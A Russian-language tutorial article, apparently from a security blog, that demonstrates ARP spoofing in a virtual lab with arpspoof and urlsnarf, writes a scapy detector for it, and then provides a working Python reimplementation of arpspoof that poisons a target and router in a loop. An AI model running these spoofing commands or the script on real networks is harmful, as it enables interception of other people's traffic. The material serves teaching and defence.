×
Главная   »   Статьи   »   Перехватываем трафик при помощи ARP-спуфинга и учимся защищаться от него
Перехватываем трафик при помощи ARP-спуфинга и учимся защищаться от него
Метки:      ,   ,   ,   ,   ,   ,   ,   ,   ,   

В этой статье познакомимся с перехватом трафика при помощи ARP-спуфинга с практической стороны. Научимся пользоваться утилитой arpspoof и реализуем ее аналог на Python. Также напишем анализатор сетевого трафика для обнаружения ARP-спуфинга.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

Сегодня разберемся как выполнить перехват трафика с помощью ARP-спуфинга. Межсетевой экран/маршрутизатор PFSense, две ОС (KaliLinux и Metasploiatable) уже установлены и сконфигурированы в виртуальной машине.

Кстати, если вы столкнулись с проблемой установки PFSense на VirtualBox, например, при загрузке ядра вас обрадовали сообщениями can't find '/boot/entropy', can't find '/etc/hostid' или нечто подобным, то можете пролистать в конец статьи, чтобы узнать, как решить эту проблему.

Уязвимость протокола определения адресов (ARP) может потенциально использовать любой человек, подключившейся к публичному Wi-Fi для просмотра и перехвата незашифрованного трафика.

Готовимся к проведению атаки

Сама атака осуществляется в два этапа. На первом этапе отправляются жертве поддельные ARP-ответ с информацией, что MAC-адрес злоумышленника соответствует IP-адресу маршрутизатора.

Для начала просканируем сеть при помощи инструмента netdiscover. В моем случае это PFSense маршрутизатор (192.168.1.1) и заведомо уязвимая ОС Metasploitable (192.168.1.101)

Теперь необходимо нашей Kali Linux разрешить пересылать пакеты от имени других машин. Для этого установить ip_forward в единицу:

echo 1 > /proc/sys/net/ipv4/ip_forward

Теперь сгенерируем поддельные пакеты, указав интерфейс, IP-адрес жертвы и маршрутизатора, соответственно:

arpspoof -i eth0 -t 192.168.1.101 -r 192.168.1.1

Первый MAC-адрес принадлежит нашему компьютеру, создающему пакет. Второй MAC-адрес принадлежит нашей цели, которая получит ложный пакет. В последнем поле указано, что IP-адрес маршрутизатора соответствует нашему MAC-адресу. Опция r означает, что обманывать будем оба хоста (цель и маршрутизатор), чтобы перехватывать трафик в обе стороны.

Открываем второй терминал и запускаем urlsnarf для перехвата сайтов, которые будет посещать цель:

urlsnarf -i eth0

Переходим в Metasploitable и обращаемся к любому сайту для примера:

curl http://www.google.com

Переходим в Kali Linux и видим этот запрос. Теперь необходимо все вернуть в исходное состояние. Нажмите Ctrl+C и инструмент arpspoof вернет реальные MAC-адреса.

Реализуем анализатор для обнаружения подобной атаки на Python

Теперь мы можем перейти к написанию простой защиты от ARP-спуфинга. Точнее мы реализуем анализатор, который будет выявлять признаки атаки. Заодно чуть глубже разберемся с работой протоколов.

Познакомимся еще с командой arping, которая посылает ARP-запрос/ответ. Похожа на команду ping, которая посылает ICMP-запрос/ответ. Утилиту arping можно использовать только внутри L2-доменов (группа устройств, которые соединены при помощи оборудования канального уровня). Отвлеклись. Давайте перейдем к коду на Python.

import os
from scapy.all import sniff

def process(packet):
    # https://scapy.readthedocs.io/en/latest/api/scapy.layers.l2.html
    ip = packet['ARP'].psrc
    mac = packet['Ether'].src
    
    # print(f'{ip} {mac}')
    
    if mac in map_ip_mac.keys():
        if map_ip_mac[mac] != ip:
            try:
                old_ip = map_ip_mac[mac]
            except:
                old_ip = "???"

            print(f'Possible ARP-spoofing detected. Changed {old_ip} on {ip}.')
    else:
        map_ip_mac[mac] = ip

map_ip_mac = {}

sniff(count=0, filter='arp', store=0, prn=process)

Для решения нашей задачи был использован модуль scapy, предназначенный для создания и работы с сетевыми пакетами.

За основу была взята функция sniff(), которая принимает все пакеты. Более подробно можно узнать в документации: help(sniff).

Help on function sniff in module scapy.sendrecv:

sniff(*args, **kwargs)
    Sniff packets and return a list of packets.
    
    Args:
        count: number of packets to capture. 0 means infinity.
        store: whether to store sniffed packets or discard them
        prn: function to apply to each packet. If something is returned, it
             is displayed.
             --Ex: prn = lambda x: x.summary()
        session: a session = a flow decoder used to handle stream of packets.
                 --Ex: session=TCPSession
                 See below for more details.
        filter: BPF filter to apply.
        lfilter: Python function applied to each packet to determine if
                 further action may be done.
                 --Ex: lfilter = lambda x: x.haslayer(Padding)
        offline: PCAP file (or list of PCAP files) to read packets from,
                 instead of sniffing them
        quiet:   when set to True, the process stderr is discarded
                 (default: False).
        timeout: stop sniffing after a given time (default: None).
        L2socket: use the provided L2socket (default: use conf.L2listen).
        opened_socket: provide an object (or a list of objects) ready to use
                      .recv() on.
        stop_filter: Python function applied to each packet to determine if
                     we have to stop the capture after this packet.
                     --Ex: stop_filter = lambda x: x.haslayer(TCP)
        iface: interface or list of interfaces (default: None for sniffing
               on all interfaces).
        monitor: use monitor mode. May not be available on all OS
        started_callback: called as soon as the sniffer starts sniffing
                          (default: None).
    
    The iface, offline and opened_socket parameters can be either an
    element, a list of elements, or a dict object mapping an element to a
    label (see examples below).
    
    For more information about the session argument, see
    https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions
    
    Examples: synchronous
      >>> sniff(filter="arp")
      >>> sniff(filter="tcp",
      ...       session=IPSession,  # defragment on-the-flow
      ...       prn=lambda x: x.summary())
      >>> sniff(lfilter=lambda pkt: ARP in pkt)
      >>> sniff(iface="eth0", prn=Packet.summary)
      >>> sniff(iface=["eth0", "mon0"],
      ...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
      ...                                   pkt.summary()))
      >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"},
      ...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
      ...                                   pkt.summary()))
    
    Examples: asynchronous
      >>> t = AsyncSniffer(iface="enp0s3")
      >>> t.start()
      >>> time.sleep(1)
      >>> print("nice weather today")
      >>> t.stop()

Нас интересуют аргументы count (количество захваченный пакетов. Если 0, то без ограничения), filter (фильтр, анализируем только ARP-пакеты), store (хранить ли пакеты или сразу удалять. Нам хранить их не нужно) и prn (функция, которая применяется к каждому пакету).

В коде я оставил ссылку на классы и функции для протоколов второго уровня, там вы можете получить более подробную информацию.

Как работает наша функция process(), применяемая к каждому пакету? Мы создаем свой словарь, в котором храним в виде ключа MAC-адрес, а виде значения – IP-адрес. В случае изменения первоначального IP-адреса на другой, мы выводим сообщение о возможном ARP-спуфинге.

Давайте запустим нашу программу для анализа трафика с root-правами в одном терминале. Во втором терминале запустим утилиту arping, чтобы просто создать хоть какую-нибудь нагрузку (хотя это и не нужно) и закрепить у себя в сознании наличие этой полезной утилиты. В третьем терминале запустим генерацию поддельных ARP-пакетов для маршрутизатора и целевого компьютера.

Как видите, наш простенький скрипт смог определить ARP-спуфинг. Разумеется, это очень примитивный пример, но он хорошо иллюстрирует работу протокола и как выглядит атака подобного рода.

Продолжаем разбираться с модулем scapy и реализуем свой аналог arpspoof

В начале статьи мы использовали утилиту arpspoof, которая создает поддельные пакеты. Давайте попробуем написать ее аналог с использованием Python и модуля scapy. Главное не забыть реализовать восстановление ARP-таблиц в исходное состояние после завершения атаки.

Более подробно о параметрах функции ARP() вы можете узнать по ссылке выше. Либо можете добавить в анализатор трафика строку print(packet.show()) и проанализировать как выглядит пакет (добавил комментарии, чтобы легче было понять):

###[ ARP ]### 
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 08:00:27:50:4c:14  # MAC-адрес нашей машины
     psrc      = 192.168.1.1 # IP-адрес маршрутизатора
     hwdst     = 08:00:27:43:ff:df # MAC-адрес целевой машины
     pdst      = 192.168.1.101 # IP-адрес целевой машины

Теперь можете соотнести код функций arp_spoof() (создает поддельный пакет) и arp_restore() (восстанавливает ARP-таблицу) и пример пакета, созданного утилитой arpspoof. Убедились в интуитивности модуля scapy?

import os
import sys
import time
from scapy.all import *

MY_MAC = Ether().src

def arp_spoof(destination_ip, destination_mac, source_ip):
    packet = ARP(op='is-at', hwsrc=MY_MAC, psrc=source_ip, 
        hwdst=destination_mac, pdst=destination_ip, hwlen=6, plen=4)
    send(packet, verbose=False)
    time.sleep(2)
    print(f'{MY_MAC} {destination_mac} ARP REPLY {destination_ip} is-at {MY_MAC}')
    
def arp_restore(destination_ip, destination_mac, source_ip, source_mac):
    packet = ARP(op='is-at', hwsrc=source_mac, psrc=source_ip, 
        hwdst=destination_mac, pdst=destination_ip, hwlen=6, plen=4)
    send(packet, verbose=False)

    print(packet.show())

if __name__ == '__main__':
    goal_ip = sys.argv[1]
    router_ip = sys.argv[2]

    goal_mac = getmacbyip(goal_ip)
    router_mac = getmacbyip(router_ip)

    try:
        print('Send ARP packets...')
        while True:
            arp_spoof(goal_ip, goal_mac, router_ip)
            arp_spoof(router_ip, router_mac, goal_ip)
 
    except KeyboardInterrupt:
        print('Restoring...')
        arp_restore(router_ip, router_mac, goal_ip, goal_mac)
        arp_restore(goal_ip, goal_mac, router_ip, router_mac)
        quit()

Для запуска достаточно запустить наш скрипт с нужными параметрами: IP-адрес целевой машины и маршрутизатора:

# python3 arpspoof.py 192.168.1.101 192.168.1.1

Примечание об установке PFSense на VirualBox

Отличное руководство по установке вы можете найти по этой ссылке. Очень много было потрачено времени на решение этой пустяковой задачи и на поиски ответа в противоположной стороне. Так вот, во многих источниках указано, что нужно выбирать тип операционной системы BSD и версию FreeBSD (64-bit), но у меня при такой раскладке возникала проблема при установке PFSense на VirtualBox. Если вы столкнулись с проблемой загрузки ядра при установке PFSense, измените тип операционной системы на Linux, а версию выберите Debian (64-bit). Вот и все решение проблемы.

Итоги

В этой статье мы бегло научились проводить ARP-спуфинг для перехвата трафика целевой машины при помощи утилиты arpspoof и самостоятельно реализовали ее аналог на языке Python с помощью модуля scapy. Также узнали, как анализировать трафик и обнаруживать возможный ARP-спуфинг.

1237 просмотров
02.03.2023
Автор